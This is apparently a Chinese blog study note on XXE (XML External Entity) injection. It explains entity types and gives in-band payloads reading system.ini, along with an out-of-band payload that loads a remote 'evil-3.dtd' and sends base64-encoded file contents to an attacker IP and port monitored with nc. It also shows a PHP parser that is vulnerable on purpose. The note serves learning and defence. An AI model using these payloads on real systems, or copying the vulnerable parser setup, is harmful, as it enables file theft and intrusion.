• Web安全测试学习笔记


    基础知识

    XXE: XML External Entity

    Entity是XML的存储单元,可以看做XML的一个变量,定义在DTD(Document Type Definition)中。

    Entity分为内部实体和外部实体。

    1. 内部实体的作用是用来存储指定数值,分为通用实体,参数实体,预定义实体。

    (1)通用实体:在DTD定义之后会被xml的节点引用。示例如下:

    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE Person [<!ENTITY name "John"> ]>
    <Person>
    	<Name>&name;</Name>
    	<Age>10</Age>
    </Person>  

    (2)参数实体:必须定义在单独的DTD区域,可用一个entity给另一个entity赋值。

    (3)预定义实体:预定义某种符号来代替尖括号、引号等(因为xml在解析带尖括号的内容时会报错)

    2. 外部实体:

    指从本地文件或者远程网络调用相关数据,作为后续实体引用,外部实体定义时有SYSTEM关键字。示例如下:

    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE creds [  
    <!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]> 
    <creds>&goodies;</creds>  

    利用原理

    XXE在引入外部实体时,支持引用文件和URL。将文件路径换成服务器敏感文件路径,如:/etc/password,从而获取服务器敏感信息;通过读取 /etc/network/interfaces,/etc/host等文件进行内网主机/端口探测(SSRF)。

    利用方式

    外部实体注入攻击常见的两种类型:In-band和OOB。

    1. In-band:xml加载外部数据后会直接将输出显示在屏幕上(输出直接回显)

       写一段php代码(xml.php)用来显示xml的解析结果

    <?php
    	libxml_disable_entity_loader (false);
    	$xmlfile = file_get_contents('xmldom-1.txt');
    	$dom = new DOMDocument();
    	$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    	$creds = simplexml_import_dom($dom);
    	echo $creds;
    ?>
    
    xmldom-1.txt中引用了外部实体(这里是读取文件)
    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE creds [  
    <!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]> 
    <creds>&goodies;</creds>  

    解析结果:

    2. out-of-band(OOB):无任何输出响应(盲注),必须执行带外请求来把目标数据提取出来(利用nc提取输出)

    xml.php

    <?php
    	libxml_disable_entity_loader (false);
    	$xmlfile = file_get_contents('xmldom-3.txt');
    	$dom = new DOMDocument();
    	$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    	$creds = simplexml_import_dom($dom);
    	//echo $creds;
    ?>  

    xmldom-3.txt

    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE convert [ 
    <!ENTITY % remote SYSTEM "http://testhost:8082/evil-3.dtd">
    %remote;%int;%send;
    ]>
    

    evil-3.dtd

    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/system.ini">
    <!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip地址:1234?p=%file;'>">  

    用nc监听1234端口,服务器收到了base64编码后的system.ini文件的内容 

    防御方法

    禁用外部实体

    如需转载,请注明出处,这是对他人劳动成果的尊重~

  • 相关阅读:
    【BZOJ3926】诸神眷顾的幻想乡 【广义后缀自动机】
    【BZOJ2780】Sevenk Love Oimaster【广义后缀自动机】
    【BZOJ3227】串【广义后缀自动机】
    【CodeForces
    【BZOJ3238】差异【后缀自动机+dp】
    【BZOJ4566】找相同字符【后缀自动机】
    【BZOJ3998】弦论 【后缀自动机】
    【poj1743】Musical Theme 【后缀自动机】
    【SPOJ
    【SPOJ
  • 原文地址:https://www.cnblogs.com/sallyzhang/p/12156472.html
Copyright © 2020-2023  润新知